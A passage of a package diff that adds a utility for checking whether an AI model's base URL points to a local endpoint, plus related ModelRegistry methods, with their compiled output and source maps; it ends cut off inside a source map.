  383. package/src/resources/extensions/gsd/tests/worktree-db.test.ts +38 -39
  384. package/src/resources/extensions/gsd/tests/worktree-e2e.test.ts +17 -21
  385. package/src/resources/extensions/gsd/tests/worktree-health.test.ts +25 -30
  386. package/src/resources/extensions/gsd/tests/worktree-integration.test.ts +30 -37
  387. package/src/resources/extensions/gsd/tests/worktree-submodule-safety.test.ts +65 -0
  388. package/src/resources/extensions/gsd/tests/worktree-symlink-removal.test.ts +15 -22
  389. package/src/resources/extensions/gsd/tests/worktree-sync-milestones.test.ts +59 -66
  390. package/src/resources/extensions/gsd/tests/worktree.test.ts +44 -50
  391. package/src/resources/extensions/gsd/tools/plan-slice.ts +2 -0
  392. package/src/resources/extensions/gsd/tools/plan-task.ts +2 -0
  393. package/src/resources/extensions/gsd/tools/replan-slice.ts +3 -0
  394. package/src/resources/extensions/gsd/tools/validate-milestone.ts +127 -0
  395. package/src/resources/extensions/gsd/worktree-manager.ts +43 -2
  396. package/src/resources/extensions/gsd/worktree-resolver.ts +7 -0
  397. package/src/resources/extensions/mcp-client/index.ts +20 -0
  398. package/dist/web/standalone/.next/static/chunks/4024.0de81b543b28b9fe.js +0 -9
  399. package/dist/web/standalone/.next/static/chunks/webpack-9014b5adb127a98a.js +0 -1
  400. package/dist/web/standalone/.next/static/css/8a727f372cf53002.css +0 -1
  401. /package/dist/web/standalone/.next/static/{mgkxN0mGP6gSUmGPEzbk_ → wUzEX1U3CmFcMry2SUDJn}/_buildManifest.js +0 -0
  402. /package/dist/web/standalone/.next/static/{mgkxN0mGP6gSUmGPEzbk_ → wUzEX1U3CmFcMry2SUDJn}/_ssgManifest.js +0 -0
@@ -0,0 +1,15 @@
1
+ /**
2
+ * local-model-check.ts — Utility to detect if a model baseUrl is local.
3
+ *
4
+ * Leaf module with zero transitive dependencies on TypeScript parameter properties.
5
+ * Used by ModelRegistry and tests.
6
+ */
7
+ /**
8
+ * Check if a model's baseUrl points to a local endpoint.
9
+ * Returns true for localhost, 127.0.0.1, 0.0.0.0, ::1, or unix socket paths.
10
+ * Returns false if baseUrl is empty (cloud provider) or points to a remote host.
11
+ */
12
+ export declare function isLocalModel(model: {
13
+ baseUrl: string;
14
+ }): boolean;
15
+ //# sourceMappingURL=local-model-check.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"local-model-check.d.ts","sourceRoot":"","sources":["../../src/core/local-model-check.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH;;;;GAIG;AACH,wBAAgB,YAAY,CAAC,KAAK,EAAE;IAAE,OAAO,EAAE,MAAM,CAAA;CAAE,GAAG,OAAO,CAgChE"}
@@ -0,0 +1,41 @@
1
+ /**
2
+ * local-model-check.ts — Utility to detect if a model baseUrl is local.
3
+ *
4
+ * Leaf module with zero transitive dependencies on TypeScript parameter properties.
5
+ * Used by ModelRegistry and tests.
6
+ */
7
+ /**
8
+ * Check if a model's baseUrl points to a local endpoint.
9
+ * Returns true for localhost, 127.0.0.1, 0.0.0.0, ::1, or unix socket paths.
10
+ * Returns false if baseUrl is empty (cloud provider) or points to a remote host.
11
+ */
12
+ export function isLocalModel(model) {
13
+ const url = model.baseUrl;
14
+ if (!url)
15
+ return false;
16
+ // Unix socket paths
17
+ if (url.startsWith("unix://") || url.startsWith("unix:"))
18
+ return true;
19
+ try {
20
+ const parsed = new URL(url);
21
+ const hostname = parsed.hostname;
22
+ if (hostname === "localhost" ||
23
+ hostname === "127.0.0.1" ||
24
+ hostname === "0.0.0.0" ||
25
+ hostname === "::1" ||
26
+ hostname === "[::1]") {
27
+ return true;
28
+ }
29
+ }
30
+ catch {
31
+ // If URL parsing fails, check raw string for local patterns
32
+ if (url.includes("localhost") ||
33
+ url.includes("127.0.0.1") ||
34
+ url.includes("0.0.0.0") ||
35
+ url.includes("[::1]")) {
36
+ return true;
37
+ }
38
+ }
39
+ return false;
40
+ }
41
+ //# sourceMappingURL=local-model-check.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"local-model-check.js","sourceRoot":"","sources":["../../src/core/local-model-check.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AAEH;;;;GAIG;AACH,MAAM,UAAU,YAAY,CAAC,KAA0B;IACtD,MAAM,GAAG,GAAG,KAAK,CAAC,OAAO,CAAC;IAC1B,IAAI,CAAC,GAAG;QAAE,OAAO,KAAK,CAAC;IAEvB,oBAAoB;IACpB,IAAI,GAAG,CAAC,UAAU,CAAC,SAAS,CAAC,IAAI,GAAG,CAAC,UAAU,CAAC,OAAO,CAAC;QAAE,OAAO,IAAI,CAAC;IAEtE,IAAI,CAAC;QACJ,MAAM,MAAM,GAAG,IAAI,GAAG,CAAC,GAAG,CAAC,CAAC;QAC5B,MAAM,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC;QACjC,IACC,QAAQ,KAAK,WAAW;YACxB,QAAQ,KAAK,WAAW;YACxB,QAAQ,KAAK,SAAS;YACtB,QAAQ,KAAK,KAAK;YAClB,QAAQ,KAAK,OAAO,EACnB,CAAC;YACF,OAAO,IAAI,CAAC;QACb,CAAC;IACF,CAAC;IAAC,MAAM,CAAC;QACR,4DAA4D;QAC5D,IACC,GAAG,CAAC,QAAQ,CAAC,WAAW,CAAC;YACzB,GAAG,CAAC,QAAQ,CAAC,WAAW,CAAC;YACzB,GAAG,CAAC,QAAQ,CAAC,SAAS,CAAC;YACvB,GAAG,CAAC,QAAQ,CAAC,OAAO,CAAC,EACpB,CAAC;YACF,OAAO,IAAI,CAAC;QACb,CAAC;IACF,CAAC;IAED,OAAO,KAAK,CAAC;AACd,CAAC","sourcesContent":["/**\n * local-model-check.ts — Utility to detect if a model baseUrl is local.\n *\n * Leaf module with zero transitive dependencies on TypeScript parameter properties.\n * Used by ModelRegistry and tests.\n */\n\n/**\n * Check if a model's baseUrl points to a local endpoint.\n * Returns true for localhost, 127.0.0.1, 0.0.0.0, ::1, or unix socket paths.\n * Returns false if baseUrl is empty (cloud provider) or points to a remote host.\n */\nexport function isLocalModel(model: { baseUrl: string }): boolean {\n\tconst url = model.baseUrl;\n\tif (!url) return false;\n\n\t// Unix socket paths\n\tif (url.startsWith(\"unix://\") || url.startsWith(\"unix:\")) return true;\n\n\ttry {\n\t\tconst parsed = new URL(url);\n\t\tconst hostname = parsed.hostname;\n\t\tif (\n\t\t\thostname === \"localhost\" ||\n\t\t\thostname === \"127.0.0.1\" ||\n\t\t\thostname === \"0.0.0.0\" ||\n\t\t\thostname === \"::1\" ||\n\t\t\thostname === \"[::1]\"\n\t\t) {\n\t\t\treturn true;\n\t\t}\n\t} catch {\n\t\t// If URL parsing fails, check raw string for local patterns\n\t\tif (\n\t\t\turl.includes(\"localhost\") ||\n\t\t\turl.includes(\"127.0.0.1\") ||\n\t\t\turl.includes(\"0.0.0.0\") ||\n\t\t\turl.includes(\"[::1]\")\n\t\t) {\n\t\t\treturn true;\n\t\t}\n\t}\n\n\treturn false;\n}\n"]}
@@ -115,6 +115,17 @@ export declare class ModelRegistry {
115
115
  * Convert DiscoveryResult[] into Model<Api>[] with default values.
116
116
  */
117
117
  private convertDiscoveredModels;
118
+ /**
119
+ * Check if a model's baseUrl points to a local endpoint.
120
+ * Delegates to standalone isLocalModel() function.
121
+ */
122
+ static isLocalModel(model: Model<Api>): boolean;
123
+ /**
124
+ * Check if all models in the registry are local.
125
+ * Returns true only if every model passes isLocalModel().
126
+ * Returns false if there are no models.
127
+ */
128
+ isAllLocalChain(): boolean;
118
129
  }
119
130
  /**
120
131
  * Input type for registerProvider API.
@@ -1 +1 @@
1
- {"version":3,"file":"model-registry.d.ts","sourceRoot":"","sources":["../../src/core/model-registry.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"model-registry.d.ts","sourceRoot":"","sources":["../../src/core/model-registry.ts"],"names":[],"mappings":"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"}
@@ -11,6 +11,7 @@ import { getAgentDir } from "../config.js";
11
11
  import { ModelDiscoveryCache } from "./discovery-cache.js";
12
12
  import { getDiscoverableProviders, getDiscoveryAdapter } from "./model-discovery.js";
13
13
  import { resolveConfigValue, resolveHeaders } from "./resolve-config-value.js";
14
+ import { isLocalModel } from "./local-model-check.js";
14
15
  const Ajv = AjvModule.default || AjvModule;
15
16
  const ajv = new Ajv();
16
17
  // Schema for OpenRouter routing preferences
@@ -439,7 +440,7 @@ export class ModelRegistry {
439
440
  const authMode = this.getProviderAuthMode(model.provider);
440
441
  if (authMode === "externalCli" || authMode === "none")
441
442
  return undefined;
442
- return this.authStorage.getApiKey(model.provider, sessionId);
443
+ return this.authStorage.getApiKey(model.provider, sessionId, { baseUrl: model.baseUrl });
443
444
  }
444
445
  /**
445
446
  * Get API key for a provider.
@@ -670,5 +671,23 @@ export class ModelRegistry {
670
671
  }
671
672
  return converted;
672
673
  }
674
+ /**
675
+ * Check if a model's baseUrl points to a local endpoint.
676
+ * Delegates to standalone isLocalModel() function.
677
+ */
678
+ static isLocalModel(model) {
679
+ return isLocalModel(model);
680
+ }
681
+ /**
682
+ * Check if all models in the registry are local.
683
+ * Returns true only if every model passes isLocalModel().
684
+ * Returns false if there are no models.
685
+ */
686
+ isAllLocalChain() {
687
+ const models = this.getAll();
688
+ if (models.length === 0)
689
+ return false;
690
+ return models.every((m) => isLocalModel(m));
691
+ }
673
692
  }
674
693
  //# sourceMappingURL=model-registry.js.map
@@ -1 +1 @@
1
- {"version":3,"file":"model-registry.js","sourceRoot":"","sources":["../../src/core/model-registry.ts"],"names":[],"mappings":"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